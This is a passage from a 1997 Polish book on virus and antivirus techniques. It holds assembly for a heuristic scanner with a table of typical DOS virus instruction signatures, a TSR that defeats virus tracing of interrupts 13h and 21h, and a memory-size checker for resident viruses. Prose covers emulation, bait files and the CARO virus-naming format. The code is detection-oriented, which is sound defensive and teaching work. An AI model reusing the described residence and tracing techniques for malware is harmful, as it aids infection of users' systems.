al,ah ; AL=AH=wyzsze 8 bitow Call DrukHEX8 ; wyswietl wyzsze 8 bitow pop ax ; przywroc 8 dolnych bitow DrukHEX8: push ax ; zachowaj 4 dolne bity shr al,1 ; \ wez 4 gorne bity shr al,1 ; \ do AL (podziel przez 16) shr al,1 ; / shr al,1 ; / Call DrukHEX4 ; wyswietl 4 gorne bity pop ax ; przywroc 4 dolne bity and al,15 ; utworz z nich liczbe 0..F DrukHEX4: push bx ; BX bedzie potrzebne wiec zachowaj lea bx,HexZnaki ; ustaw BX na tablice konwersji xlatb ; konwertuj 0..F na '0'..'Z','A'..'Z' ; AL=cyfra mov ah,0Eh ; funkcja BIOS - wyswietl znak z AL int 10h ; wywoluje funkcje pop bx ; przywroc BX ret ; powrot HexZnaki db '0123456789ABCDEF' ; tablica konwersji TeCopyRight db CR,LF,'HEUR v1.0, Autor : Adam Blaszczyk 1997' db CR,LF db CR,LF,'_ Szukam sygnatur ...',NUL db CR,LF TeCRLF db CR,LF,NUL TeZlyMCB db CR,LF,'_ Struktura blokow MCB pamieci jest zaklocona !',NUL TeSygnatura db ': Znaleziona sygnatura : ',NUL TeNieMaSygnatur db CR,LF,'_ Nie znalazlem zadnej sygnatury !',NUL TePrawdopodWirus db CR,LF,'_ UWAGA : W ostatnio sprawdzanym bloku MCB moze byc wirus !' db CR,LF,' Swiadczy o tym ilosc znalezionych w nim sygnatur !',NUL TeAdres db ' Adres=',NUL TeBlokMCB db ' MCB=',NUL TeRozmiar db ', Rozmiar MCB=',NUL TeParagraf db ' paragrafow',NUL TeSprawdzam db '_ Sprawdzam',NUL Sygnatury: Sygn <'CALL $+3; POP BX ',4,0E8h xor 0AAh,000h,000h,05Bh> Sygn <'CALL $+3; POP BP ',4,0E8h xor 0AAh,000h,000h,05Dh> Sygn <'CALL $+3; POP SI ',4,0E8h xor 0AAh,000h,000h,05Eh> Sygn <'CALL $+3; POP DI ',4,0E8h xor 0AAh,000h,000h,05Fh> Sygn <'CMP AX,4B00h; JZ ?? ',4,03Dh xor 0AAh,000h,04Bh,074h> Sygn <'CMP AX,4B00h; JNZ ?? ',4,03Dh xor 0AAh,000h,04Bh,075h> Sygn <'CMP AX,"MZ" ',4,03Dh xor 0AAh,05Ah,04Dh,075h> Sygn <'CMP AX,"ZM" ',4,03Dh xor 0AAh,04Dh,05Ah,075h> Sygn <'MOV AX,2521h; INT 21h ',5,0B8h xor 0AAh,021h,025h,0CDh,021h> Sygn <'MOV AH,52h; INT 21h ',4,0B4h xor 0AAh,052h,0CDh,021h> Sygn <'MOV AX,4300h; CALL NEAR [] ',4,0B8h xor 0AAh,000h,043h,0E8h> Sygn <'MOV AX,4300h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,000h,043h,02Eh,09Ch,0FFh> Sygn <'MOV AX,4301h; CALL NEAR [] ',4,0B8h xor 0AAh,001h,043h,0E8h> Sygn <'MOV AX,4301h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,001h,043h,02Eh,09Ch,0FFh> Sygn <'MOV AX,5700h; CALL NEAR [] ',4,0B8h xor 0AAh,000h,057h,0E8h> Sygn <'MOV AX,5700h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,000h,057h,02Eh,09Ch,0FFh> Sygn <'MOV AX,5701h; CALL NEAR [] ',4,0B8h xor 0AAh,001h,057h,0E8h> Sygn <'MOV AX,5701h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,001h,057h,02Eh,09Ch,0FFh> Sygn <'MOV AX,3D02h; CALL NEAR [] ',4,0B8h xor 0AAh,002h,03Dh,0E8h> Sygn <'MOV AX,3D02h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,002h,03Dh,02Eh,09Ch,0FFh> Sygn <'MOV AX,4200h; CALL NEAR [] ',4,0B8h xor 0AAh,000h,042h,0E8h> Sygn <'MOV AX,4200h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,000h,042h,02Eh,09Ch,0FFh> Sygn <'MOV AX,4202h; CALL NEAR [] ',4,0B8h xor 0AAh,002h,042h,0E8h> Sygn <'MOV AX,4202h; PUSHF; CALL D PTR CS:[]',6,0B8h xor 0AAh,002h,042h,02Eh,09Ch,0FFh> Sygn <'MOV AH,3Fh; CALL NEAR [] ',3,048h xor 0AAh,03Fh,0E8h> Sygn <'MOV AH,3Fh; PUSHF; CALL D PTR CS:[] ',5,0B4h xor 0AAh,03Fh,02Eh,09Ch,0FFh> Sygn <'MOV AH,40h; CALL NEAR [] ',3,048h xor 0AAh,040h,0E8h> Sygn <'MOV AH,40h; PUSHF; CALL D PTR CS:[] ',5,0B4h xor 0AAh,040h,02Eh,09Ch,0FFh> Sygn <'CMP DS:[0],"Z"; JZ ?? ',4,080h xor 0AAh,03Fh,05Ah,074h> Sygn <'CMP DS:[0],"Z"; JNZ ?? ',4,080h xor 0AAh,03Fh,05Ah,075h> Sygn <'CMP ES:[0],"Z"; JZ ?? ',5,026h xor 0AAh,080h,03Fh,05Ah,074h> Sygn <'CMP ES:[0],"Z"; JNZ ?? ',5,026h xor 0AAh,080h,03Fh,05Ah,075h> Sygn <'MOV DS:[1],0008h ',6,0C7h xor 0AAh,006h,001h,000h,008h,000h> Sygn <'MOV ES:[1],0008h ',7,026h xor 0AAh,0C7h,006h,001h,000h,008h,000h> Sygn <'MOV DS:[100h],???? ',4,0C7h xor 0AAh,006h,000h,001h> Sygn <'MOV ES:[100h],???? ',5,026h xor 0AAh,0C7h,006h,000h,001h> Sygn <'MOV AX, 100h; PUSH AX; RET ',5,0B8h xor 0AAh,000h,001h,050h,0C3h> Sygn <'MOV CX, 100h; PUSH CX; RET ',5,0B9h xor 0AAh,000h,001h,051h,0C3h> Sygn <'MOV DX, 100h; PUSH DX; RET ',5,0BAh xor 0AAh,000h,001h,052h,0C3h> Sygn <'MOV BX, 100h; PUSH BX; RET ',5,0BBh xor 0AAh,000h,001h,053h,0C3h> Sygn <'MOV AX, 100h; JMP AX ',5,0B8h xor 0AAh,000h,001h,0FEh,0E0h> Sygn <'MOV CX, 100h; JMP CX ',5,0B9h xor 0AAh,000h,001h,0FEh,0E1h> Sygn <'MOV DX, 100h; JMP DX ',5,0BAh xor 0AAh,000h,001h,0FEh,0E2h> Sygn <'MOV BX, 100h; JMP BX ',5,0BBh xor 0AAh,000h,001h,0FEh,0E3h> Sygn <'MOV DS:[0086],CS ',4,08Ch xor 0AAh,00Eh,086h,000h> Sygn <'MOV ES:[0086],CS ',5,026h xor 0AAh,08Ch,00Eh,086h,000h> Sygn <'MOV AX,DS; DEC AX; MOV DS,AX ',5,08Ch xor 0AAh,0D8h,048h,08Eh,0D8h> Sygn <'MOV AX,ES; DEC AX; MOV ES,AX ',5,08Ch xor 0AAh,0C0h,048h,08Eh,0C0h> Sygn <'MOV AL,3; IRET ',3,0B4h xor 0AAh,003h,0CFh> IleSygnatur = ($-offset Sygnatury)/DlugoscSygnatury AdresMCB dw ? IloscBiezSygn dw ? IloscSygn dw ? Koniec: HEUR ENDS END Start 12.3. Tryb krokowy Do wykrywania zaawansowanych polimorficznych wirusów nie można stosować zwykłego skaningu, gdyż kod wirusa za każdym razem wygląda zupełnie inaczej. Możliwym wyjściem jest w tej sytuacji wykorzystanie trybu krokowego procesora. Program antywirusowy uruchamia sprawdzany program w trybie krokowym pod kontrolą odpowiedniego monitora tego przerwania przy użyciu np. (4B01/21). Po każdej wykonanej instrukcji wywoływany jest monitor, który sprawdza, czy np. aktualnie wykonywana instrukcja pasuje do listy chararakterystycznych, stałych instrukcji wirusa (jego wersji odszyfrowanej). Jeżeli instrukcja spełnia wymagania, monitor - przy użyciu dozwolonego w tym przypadku skaningu - sprawdza, czy w kodzie jest już odszyfrowany wirus. Jeżeli po przekroczeniu jakiejś wartości granicznej wykonanych instrukcji monitor nie wykryje żadnego podejrzanego kodu, sztucznie kończy program i sygnalizuje, iż nie ma w nim wirusa. 12.4. Emulacja procesora Ze względu na to, iż omówiony w poprzednim punkcie tryb krokowy można oszukać, autorzy programów AV musieli zastosować inną metodę kontrolowanego uruchamiania programów. W tym celu wbudowali w swe programy interpretator asemblera, dzięki któremu mogą emulować wykonywanie początkowych intrukcji programu, mając jednocześnie nad nim pełną kontrolę. Ze względu na ciągły rozwój procesorów linii 80x86 interpretator asemblera musi być stale rozwijany. Nieuwzględnienie instrukcji wszystkich procesorów spowoduje bowiem, iż przy najbliższym wystąpieniu instrukcji, której monitor jeszcze nie potrafi rozpoznać, jego działanie zostanie zakończone z wynikiem negatywnym. Do niedawna sprawa miała się tak na przykład z kodami 66h, 67h, będącymi interfejsem rozszerzoych instrukcji dla procesorów 386 i wyższych. Niektóre wirusy celowo wykorzystywały je do oszukiwania programów antywirusowych, które po ich napotkaniu kończyły sprawdzanie pliku. 12.5. Przynęty (ang. baits, decoys) Jedną z technik używanych do łapania prostych wirusów są przynęty. Są to programy, dające się zainfekować ewentualnemu wirusowi. Najczęściej na kod takiego programu składa się kilkaset lub kilka tysięcy razy powtórzona operacja NOP oraz instrukcja zakończenia programu. Program antywirusowy może tworzyć kilka lub więcej takich plików i następnie wykonywać z nimi różne operacje: uruchamiać, otwierać, czytać i zapisywać do nich na różne sposoby, aby dać szansę ewentualnemu wirusowi na ich zainfekowanie. Wygenerowana przynęta powinna jak najbardziej przypominać typowy program, i to zarówno pod względem długości, jak i zawartości. Jeżeli bowiem długość pliku jest znacząca, tzn. np. wynosi jakąś wielokrotność liczb 10 czy 16, wirus może nie zainfekować takiego pliku. 12.6. Odświeżanie programów systemowych w sektorach Ta dość trywialna technika służy do nadpisywania programów istniejących w BOOT-sektorach lub Głównych Rekordach Ładujących. Jednym z efektów wykonania takiego odświeżania może być usunięcie nieznanego jeszcze wirusa z zajmowanego przez niego sektora. Podczas przeprowadzania operacji odświeżania należy pamiętać, iż niektóre wirusy całkowicie przejmują kontrolę nad danymi zawartymi w sektorach systemowych, tak więc zamazanie wirusa może spowodować, iż podczas następnego startu systemu system nie będzie się ładował z twardego dysku lub też - co gorsza - nie będzie można odczytać zapisanych na dysku danych. Możliwe wyjście z tej sytuacji polega na zapisaniu aktualnego stanu dysku (zawartości sektorów) w kopii bezpieczeństwa np. na czystej dyskietce, aby można było później odtworzyć operację odświeżania. Ze względu na możliwość stosowania przez wirusa techniki stealth odczyty najlepiej, byłoby wykonywać przez porty. 12.7. Blokowanie programów używających trybu krokowego Niektóre monitory antywirusowe posiadają wbudowane mechanizmy blokowania wirusów, które używają trybu krokowego do znalezienia oryginalnych wejść do przerwań. Zainstalowany monitor przejmuje najbardziej narażone na tracing przerwania (13h, 21h, 2Fh) i podczas ich wywoływania ustawia procedurę obsługi przerwania INT 0lh (trybu krokowego) na pustą procedurę, zakończoną rozkazem IRET, a po wywołaniu oryginalnej procedury chronionego przez siebie przerwania przywraca starą procedurę przerwania l. Dzięki temu wirus próbujący znaleźć oryginalną procedurę przerwania znajdzie adres będący częścią monitora antywirusowego. W efekcie wszystkie wykonywane przez wirusa czynności będą przechodzić przez monitor, który nie pozwoli na niebezpieczne działania. Powyższą technikę demonstruje poniższy program. ;----------------------------------------------------------------------------; ; ; ; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ; ; ; ; ANTYTRAC v1.0, Autor : Adam Blaszczyk 1997 ; ; ; ; Program nie pozwala przejsc w trybie krokowym ; ; przez przerwania 13h i 21h. ; ; W efekcie wirusy uzywajace tracingu do odnalezienia ; ; oryginalnych procedur obslugi tych przerwan nie znajda ; ; ostatniego elementu lancucha, a tylko element posredni. ; ; ; ; Kompilacja : ; ; TASM ANTYTRAC.ASM ; ; TLINK /t ANTYTRAC.OBJ ; ; ; ;----------------------------------------------------------------------------; ; NUL = 00h ; \ LF = 0Ah ; - stale potrzebne do deklaracji CR = 0Dh ; / lancuchow napisowych ANTYTRAC SEGMENT ; segment kodu i danych ORG 100h ; program jest typu COM ASSUME CS:ANTYTRAC, DS:ANTYTRAC, ES:ANTYTRAC, SS:ANTYTRAC DlugoscKoduTSR = (offset KoniecKoduTSR-offset PoczatekKoduTSR+15)/16+10h ; oblicza, ile pamieci zajmie TSR PoczatekKoduTSR: Start: ; tu zaczyna sie program jmp Poczatek ; skocz i zainstaluj lub odinstaluj program NoweInt21h: cmp ax,3521h ; czy to funkcja 3521h ? jne Nie3521 ; NIE - skocz na koniec obslugi cmp bp,0BACAh ; czy to ponownie uruchomiony program ? ; wywolal te funkcje ? jne Nie3521 ; NIE - skocz na koniec obslugi ; TAK - odinstaluj wirusa push es ds ; zachowaj zmieniane rejestry lds dx,dword ptr cs:[StareInt21] ; pobierz stary adres INT 21h mov ax,2521h ; funkcja DOS - ustaw nowe przerwanie int 21h ; wywolaj funkcje (rekurencyjnie) lds dx,dword ptr cs:[StareInt13] ; pobierz stary adres INT 13h mov ax,2513h ; funkcja DOS - ustaw nowe przerwanie int 21h ; wywolaj funkcje push cs pop es ; ES=zwalniany segment mov ah,49h ; funkcja DOS - zwolnij blok pamieci int 21h ; wywolaj funkcje pop ds es ; przywroc zmieniane rejestry mov ax,bp ; przekaz informacje do wywolujacego ; programu iret ; powrot z przerwania Nie3521: Call Wylacz_TF ; jezeli bit TF=1, ustaw TF=0 db 0EAh ; czesc rozkazu JMP FAR StareInt21 dd ? ; koncowka rozkazu JMP FAR NoweInt13h: Call Wylacz_TF ; jezeli TF=1, ustaw TF=0 db 0EAh ; czesc rozkazu JMP FAR StareInt13 dd ? ; koncowka rozkazu JMP FAR Wylacz_TF: cli ; zablokuj przerwania push ax bx ds ; zachowaj zmieniane rejestry push ss ; \ za pomoca tej sztuczki zwykle pop ss ; \ mozna pobrac "prawdziwy" obraz pushf ; / rejestru znacznikow pop ax ; / test ah,1 ; czy TF ustawiony ? jz TF_NieUstawiony ; NIE - nie trzeba nic robic mov ax,0123h ; push ax ; ss:[sp]:=0123 pop ax ; ax:=ss:[sp]:=0123 dec sp ; sp=sp-2-wskazuje na wartosc, dec sp ; ktora byla sciagana ze stosu pop ax ; ax:=ss:[sp]:=0123 jezeli TF=0 cmp ax,0123h jz TF_NieUstawiony ; NIE - nie trzeba nic robic xor ax,ax ; \ DS wskazuje na tablice przerwan mov ds,ax ; / lds bx,ds:[01h*4] ; DS:BX wskazuje na adres obslugi ; przerwania krokowego INT 1 mov al,0CFh ; kod 0CFh oznacza IRET xchg al,ds:[bx] ; wymien pierwszy bajt w procedurze ; obslugi INT 1 - teraz jest tylko ; IRET push ax ; zachowaj pierwszy bajt procedury pushf ; \ pop ax ; \ zeruj TF and ah,0FEh ; - push ax ; / popf ; / pop ax ; przywroc pierwszy bajt mov ds:[bx],al ; i zapisz go z powrotem TF_NieUstawiony: pop ds bx ax ; przywroc zmieniane rejestry ret ; powrot z procedury KoniecKoduTSR: Poczatek: mov es,ds:[2Ch] ; ES=blok otoczenia programu mov ah,49h ; funkcja DOS - zwolnij blok pamieci int 21h ; wywolaj funkcje lea si,TeCopyRight ; \ pokaz info o programie Call Print ; / mov bp,0BACAh ; \ wez stare INT 21h i jednoczesnie mov ax,3521h ; - odinstaluj program, jezeli juz int 21h ; / byl wczesniej zainstalowany cmp ax,0BACAh ; czy zostal odinstalowany ? je Deinstal ; TAK - wyswietl komunikat i koncz mov word ptr [StareInt21],bx ; \ zachowaj stare INT 21 mov word ptr [StareInt21+2],es ; / mov ax,3513h ; funkcja DOS - wez stare INT 13h int 21h ; wywolaj funkcje mov word ptr [StareInt13],bx ; \ zachowaj stare INT 13 mov word ptr [StareInt13+2],es ; / lea si,TeZainstalowany ; \ pokaz info o programie Call Print ; / lea dx,NoweInt21h ; DS:DX wskazuje na nowa procedure mov ax,2521h ; funkcja DOS - ustaw nowa INT 21 int 21h ; wywolaj funkcje lea dx,NoweInt13h ; DS:DX wskazuje na nowa procedure mov ax,2513h ; funkcja DOS - ustaw nowa INT 13 int 21h ; wywolaj funkcje mov dx,DlugoscKoduTSR ; ile kodu zostanie jako TSR mov ah,31h ; funkcja DOS - koncz i zostaw TSR int 21h ; wywolaj funkcje Deinstal: lea si,TeOdinstalowany ; \ pokaz info o deinstalacji Call Print ; / mov ax, 4C00h ; funkcja DOS - koncz program int 21h ; wywolaj funkcje Print proc near ; procedura wyswietla tekst ASCIIZ ; spod adresu CS:SI push ax ; \ zachowaj zmieniane rejestry push si ; / GetNextChar: lods byte ptr cs:[si] ; wez kolejny znak or al,al ; czy znak jest zerem ? jz PrintExit ; tak=koniec napisu; wyjdz z petli Call PrintChar ; nie=wyswietl znak w AL ; jmp short GetNextChar ; i wez nastepny znak PrintExit: pop si ; \ przywroc zmieniane rejestry pop ax ; / ret ; powrot z procedury Print endp PrintChar proc near ; procedura wyswietla znak w AL push ax ; zachowaj zmieniany rejestr mov ah,0Eh ; funkcja BIOS int 10h ; wyswietl znak w AL pop ax ; przywroc zmieniany rejestr ret ; powrot z procedury PrintChar endp TeCopyRight db CR,LF,'ANTYTRAC v1.0, Autor : Adam Blaszczyk 1997' TeCRLF db CR,LF,NUL TeZainstalowany db CR,LF,' _ ANTYTRAC zainstalowany!',NUL TeOdinstalowany db CR,LF,' _ ANTYTRAC odinstalowany!',NUL ANTYTRAC ENDS ; koniec segmentu kodu i danych END Start ; koniec programu, pierwsza instrukcja ; pod etykieta Start 12.8. Pobieranie wielkości pamięci operacyjnej Ze względu na to, iż większość wirusów rezydentnych instaluje się w pamięci poprzez modyfikację nagłówków pamięci MCB, możliwe jest wykrycie większości takich intruzów poprzez obliczenie wielkości dostępnej pamięci na różne sposoby i następnie na porównaniu, czy uzyskane wartości zgadzają się ze sobą. Poniższy program pobiera na cztery sposoby wielkość pamięci operacyjnej poniżej 640K i następnie rozmiar ten wyświetla na ekranie. ;----------------------------------------------------------------------------; ; ; ; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ; ; ; ; MEM640 v1.0, Autor : Adam Blaszczyk 1997 ; ; ; ; Programik pobiera i wyswietla rozmiar pamieci ponizej 640kb ; ; Wielkosc pamieci jest pobierana kilkoma metodami ; ; Przy jego uzyciu mozna wykryc w pamieci obecnosc wirusa ; ; rezydetnego (gdy odczytane dlugosci pamieci beda rozne) ; ; ; ;----------------------------------------------------------------------------; PROG SEGMENT ORG 100h ASSUME CS:PROG, DS:PROG NUL = 00h ; \ LF = 0Ah ; - stale znakow CR = 0Dh ; / ;----------------------------------------------------------------------------- Start: lea si,TeCopyRight ; SI=ofset do info o programie Call DrukLn ; wyswietl info o programie Call Pokaz_CMOS ; ile zapisane w CMOS call Pokaz_ZmiennaBIOS ; ile w komorce 0000:0413 call Pokaz_Int12 ; ile zwraca INT 12 Call Pokaz_MCB ; ile z sumy MCB mov ax,4C00h ; funkcja DOS - koncz program int 21h ; wywolaj funkcje ;----------------------------------------------------------------------------- Pokaz_CMOS: push ax dx si ; zachowaj zmieniane rejestry lea si,TeCMOS ; \ wyswietl info skad czytany Call Druk ; / rozmiar pamieci mov al,16h ; \ wez z CMOS starsza czesc Call WezCMOS ; / rozmiaru pamieci mov ah,al ; i przepisz do AH mov al,15h ; \ wez z CMOS starsza czesc Call WezCMOS ; / rozmiaru pamieci ; AX= rozmiar w CMOS w kilobajtach mov dx,1024 ; \ oblicz ile bajtow mul dx ; / Call DrukDec32 ; wyswietl ile bajtow pop si dx ax ; przywroc zmieniane rejestry ret ; powrot ;----------------------------------------------------------------------------- WezCMOS: out 70h,al ; zapisz do portu CMOS, ; ktora komorke czytac jmp $+2 ; czekaj in al,71h ; czytaj z CMOS ret ; powrot ;----------------------------------------------------------------------------- Pokaz_Int12: push ax dx si ; zachowaj zmieniane rejestry lea si,TeInt12 ; \ wyswietl info skad czytany Call Druk ; / rozmiar pamieci int 12h ; przerwanie BIOS - dostepna pamiec ; AX=rozmiar pamieci w kilobajtach mov dx,1024 ; \ oblicz ile bajtow mul dx ; / call DrukDec32 ; wyswietl ile bajtow pop dx ax si ; przywroc zmieniane rejestry ret ; powrot ;----------------------------------------------------------------------------- Pokaz_ZmiennaBIOS: push es ax dx si ; zachowaj zmieniane rejestry lea si,TeZmiennaBIOS ; \ wyswietl info skad czytany Call Druk ; / rozmiar pamieci xor ax,ax ; czytaj zmienna BIOS 0000:0413 mov es,ax ; ES=0000 mov ax,es:[413h] ; AX=0000:0413= rozmiar pamieci ; w kilobajtach mov dx,1024 ; \ oblicz ile bajtow mul dx ; / Call DrukDec32 ; wyswietl ile bajtow pop si dx ax es ; przywroc zmieniane rejestry ret ; powrot ;----------------------------------------------------------------------------- Pokaz_MCB: push es ax bx cx dx ; zachowaj zmieniane rejestry lea si,TeMCB ; \ wyswietl info skad czytany Call Druk ; / rozmiar pamieci mov ax,5802h ; funkcja DOS - czy UMB dolaczone ? int 21h ; wywolaj funkcje push ax ; zachowaj informacje na pozniej mov ax,5803h ; funkcja DOS - dolacz/odlacz bloki UMB mov bx,1 ; sprobuj dolaczyc bloki UMB int 21h ; wywolaj funkcje mov ax,5802h ; funkcja DOS - czy UMB dolaczone ? int 21h ; wywolaj funkcje xor cx,cx ; CX=0 - UMB nieobecne w systemie or al,al ; 01=jezeli UMB sa dolaczone jz UMB_NieDolaczone ; 00=jezeli UMB nie sa dolaczone inc cx ; CX=1 - UMB obecne w systemie mov ax,5803h ; funkcja DOS - dolacz/odlacz bloki UMB xor bx,bx ; odlacz bloki UMB int 21h ; wywolaj funkcje UMB_NieDolaczone: mov ah,52h ; funkcja DOS - wez adres listy list LL int 21h ; wywolaj funkcje mov ax,es:[bx-2] ; wez adres pierwszego bloku MCB NastepnyMCB: ; kolejne bloki MCB cmp ax,0A000h ; czy >640kB ? jae Tylko640 ; TAK - pomin mov es,ax ; ES=MCB stc ; +1 w dodawaniu ponizej adc ax,word ptr es:[3] ; dodaj rozmiar bloku MCB+1 ; AX=nastepny blok MCB cmp byte ptr es:[0],'Z' ; czy to ostatni blok MCB ? jne NastepnyMCB ; NIE - dodaj koleny blok ; TAK - wyswietl sume Tylko640: add ax,cx ; dodaj ewentualny blok MCB ; opisujacy bloki MCB w pamieci UMB ; AX=pamiec w paragrafach mov bx,16 ; \ mul bx ; / oblicz ile bajtow call DrukDec32 ; wyswietl ile bajtow pop bx ; przywroc info o UMB mov bh,0 ; BX=BL mov ax,5803h ; funkcja DOS - dolacz/odlacz bloki UMB int 21h ; wywolaj funkcje pop dx cx bx ax es ; przywroc zmieniane rejestry ret ; powrot ;----------------------------------------------------------------------------- DrukDec32: ; wyswietl liczbe w DX:AX push ax bx dx si ; zachowaj zmieniane rejestry mov si,offset Hex2DecBufor+10 ; ustaw na koniec bufora, bo zapis od konca mov byte ptr [si],0 ; utworz ASCIIZ dodaj zero na koncu DzielPrzez10: mov bx,10 ; dziel DX:AX przez BX Call Dziel32 ; w BX reszta z dzielenia add bl,'0' ; dodaj ASCII "0" dec si ; zmniejsz index w tablicy mov byte ptr ds:[si],bl ; zapisz cyfre or dx,dx ; \ jnz DzielPrzez10 ; \ or ax,ax ; \ jnz DzielPrzez10 ; --- czy liczba jest juz rowna 0 ; NIE - dziel dalej call DrukLn ; TAK - wyswietl bufor pop si dx bx ax ; przywroc zmieniane rejestry ret ; powrot ;----------------------------------------------------------------------------- Dziel32: ; dziel (DX:AX)/BX push bp ; zachowaj BP push ax ; zachowac mniejsza czesc liczby 32 bitowej mov ax,dx ; przenies b. znacz. czesc do mniej. znacz. xor dx,dx ; i wyzeruj DX, DX:AX = > 0:DX div bx ; podziel (0:DX)/BX mov bp,ax ; calosc z dzielenia to wieksza czesc wyniku pop ax ; przywroc do AX mniej znaczaca liczbe z poczatku div bx ; DX jest reszta z dzielenia b. znacz. czesci przez BX mov bx,dx ; w BX reszta z dzielenia mov dx,bp ; DX:AX=liczba podzielona przez BX, ; a w BX reszta z dzielenia pop bp ; przywroc zmieniany rejestr ret ; powrot ;----------------------------------------------------------------------------- DrukLn: push si ; zachowaj zmieniany rejestr call Druk ; wyswietl tekst z CS:SI lea si,TeCRLF ; \ i przejdz do nastepnej linii Call Druk ; / pop si ; przywroc zmieniany rejestr ret ; powrot ;----------------------------------------------------------------------------- Druk: push ax si ; zachowaj zmieniane rejestry DrukPetla: lods byte ptr cs:[si] ; wez kolejny znak tekstu or al,al ; czy NUL ? jz DrukPowrot ; TAK - koniec tekstu mov ah,0Eh ; funkcja BIOS - wyswietl znak int 10h ; wywolaj funkcje jmp short DrukPetla ; pobierz kolejny znak tekstu DrukPowrot: pop si ax ; przywroc zmieniane rejestry ret ; powrot TeCopyRight db CR,LF,'MEM640 v1.0, Autor : Adam Blaszczyk 1997' db CR,LF db CR,LF,'Wielkosc pamieci w bajtach :',NUL TeCMOS db ' _ CMOS : ',NUL TeInt12 db ' _ INT 12 : ',NUL TeZmiennaBIOS db ' _ Zmienna BIOS 0000:0412 : ',NUL TeMCB db ' _ Suma blokow MCB (<640kB) : ',NUL TeCRLF db CR,LF,NUL Hex2DecBufor db 11 dup(?) ; bufor na liczbe dzisietna PROG ENDS END Start ROZDZIAŁ 13 CARO (Computer Antyvirus Research Organization) jest organizacją zrzeszającą autorów programów antywirusowych z całego świata. Jednym z zadań, które stawia sobie organizacja, jest ujednolicenie nazewnictwa oraz opisu istniejących wirusów. Dla własnych potrzeb organizacja stworzyła coś w rodzaju specyfikacji opisu wirusów, zwanej CaroBase. Plik w formacie CARO jest zwykłym plikiem tekstowym i zawiera następujące pola i etykiety: CAROBASE_BANNER: na początku pliku; zawiera informacje o autorze opracowania itd. CAROBASE_LINGUA: określa język, w którym napisany jest dokument; najczęściej jest to angielski (English). CAROBASE_START: znacznik końca CAROBASE BANNER, zaraz po tym polu rozpoczyna się pierwszy rekord opisu (każdy rekord opisuje jednego wirusa). CAROBASE_END: kończy ostatni rekord opisu. Możliwe rekordy zawierające opis to: NAME: nazwa w standardzie CARO. ALIASES: lista oddzielonych kropką, innych nazw wirusa; w przypadku braku - puste pole; nazwa może zawierać znaki przestankowe; cudzysłów () oznacza propozycję nazwy. NAME.HISTORY: oddzielone przecinkami poprzednie nazwy w konwencji CARO (jeżeli istniały). LAST_NAME_CHANGE: data ostatniej zmiany nazwy wirusa. TARGETS: określa obiekty atakowane przez wirusa; możliwe obiekty to: COM - pliki COM, rozpoznawane po pierwszych 2 bajtach programu. EXE - pliki EXE, rozpoznawane po pierwszych 2 bajtach programu (równe MZ lub ZM). .COM - pliki COM, rozpoznawane po rozszerzeniu pliku. .EXE - pliki EXE, rozpoznawane po rozszerzeniu pliku. ZM - w przypadku, gdy wirus sprawdza pierwsze 2 bajty programu (znacznik MZ lub ZM). SYS - zaraża sterowniki w plikach SYS. OVR - zaraża pliki nakładkowe. NE_W - potrafi infekować pliki new executable dla Windows. NE_OS2 - potrafi infekować pliki new executable dla OS/2. NewEXE - potrafi infekować pliki new executable, ale bez sprawdzania systemu, dla którego plik Jest przeznaczony. DIR - zaraża przy użyciu JAP. MBR - infekuje Główny Rekord Ładujący twardego dysku. FBR - zaraża BOOT-sektory dyskietek. HER - zaraża BOOT-sektory twardych dysków. BAT - zaraża pliki wsadowe BAT. OBJ - zaraża pliki OBJ. LIB - zaraża pliki LIB. COMP - wirus jest typu towarzyszącego (w nawiasie może być określone rozszerzenie plików wykorzystywanych przez wirusa, np. EXE/COM). OTHER - wirus infekuje inny obiekt, nie opisany powyżej. RESIDENT: określa, czy wirus zostawia po uruchomieniu jakiś ślad w pamięci; możliwe wartości to: NONE - to nie jest wirus rezydentny. PAYLOAD - wirus nie jest rezydentny, ale instaluje rezydentny kod, np. bombę. IVT - wirus rezyduje w tablicy przerwań. FIRSTMCB - wirus rezyduje w MCB należącym do DOS-a. BUFFER - wirus rezyduje w obszarze buforów DOS. LOW - wirus rezyduje jak zwykły TSR. TWIXT (przestarzałe) - wirus rezyduje za ostatnim blokiem pamięci. TwixtAny - wirus zmniejsza rozmiar aktualnego MCB. TwixtZ - wirus zmniejsza rozmiar aktualnego MCB, jeżeli jest to ostatni blok w łańcuchu (tzn. MCB ma znacznik Z). NewMCB - wirus zmniejsza rozmiar aktualnego MCB i tworzy w tak powstałym bloku nowy MCB z przepisaniem znacznika z aktualnego bloku. NewEndMCB - zmniejsza aktualny blok MCB i tworzy w tak powstałym miejscu nowy MCB ze znacznikiem Z; w aktualnym MCB zmienia znacznik bloku na M. UPPER - wirus próbuje zaalokować pamięć powyżej 640kB (UMB). HIGH - wirus próbuje zaalokować pamięć w obszarze od IMb do (l Mb + 64 Kb - 16). TOP - wirus rezyduje w bloku pamięci powstałym na skutek zmniejszenia pamięci widzianej przez BIOS (zmienna 0040:0013). UNMARKED - wirus rezyduje na końcu dostępnej pamięci, jednak miejsca tego w żaden sposób nie chroni. VIDEO - wirus rezyduje w pamięci ekranu. EXT - wirus rezyduje w pamięci XMS. EXP - wirus rezyduje w pamięci EMS. AT addr - wirus rezyduje w pamięci pod wyspecyfikowanym adresem [addr] i miejsca tego w żaden sposób nie chroni przed zapisem, np. w obszarze zmiennych DOS. OTHER - wirus instaluje się w pamięci przy pomocy innej, me opisanej powyżej techniki. Below - wirus manipuluje blokami MCB i lokuje się w pamięci przed aktualnym blokiem MCB. MEMORY_SIZE: określa ilość pamięci zajmowanej przez wirusa w pamięci w bajtach, kilobajtach (na końcu litera K) lub w paragrafach (litera P na końcu). STORAGE_SIZE: rozmiar wirusa na dysku w bajtach, kilobajtach (na końcu litera K), jednostkach JAP (na końcu litera C) lub sektorach (litera S na końcu); w przypadku wyrównywania długości pliku do jakiejś wielokrotności należy to uwzględnić w długości wirusa. WHERE: opisuje sposób działania wirusa (może być to lista oddzielona kropkami). Dla plików są możliwe: OVERWRITES - wirus nadpisuje i w efekcie niszczy plik. PREPENDING - wirus umieszcza swój kod w pliku przed oryginalnym kodem programu (przesuwa oryginalny kod do przodu). MOVE - 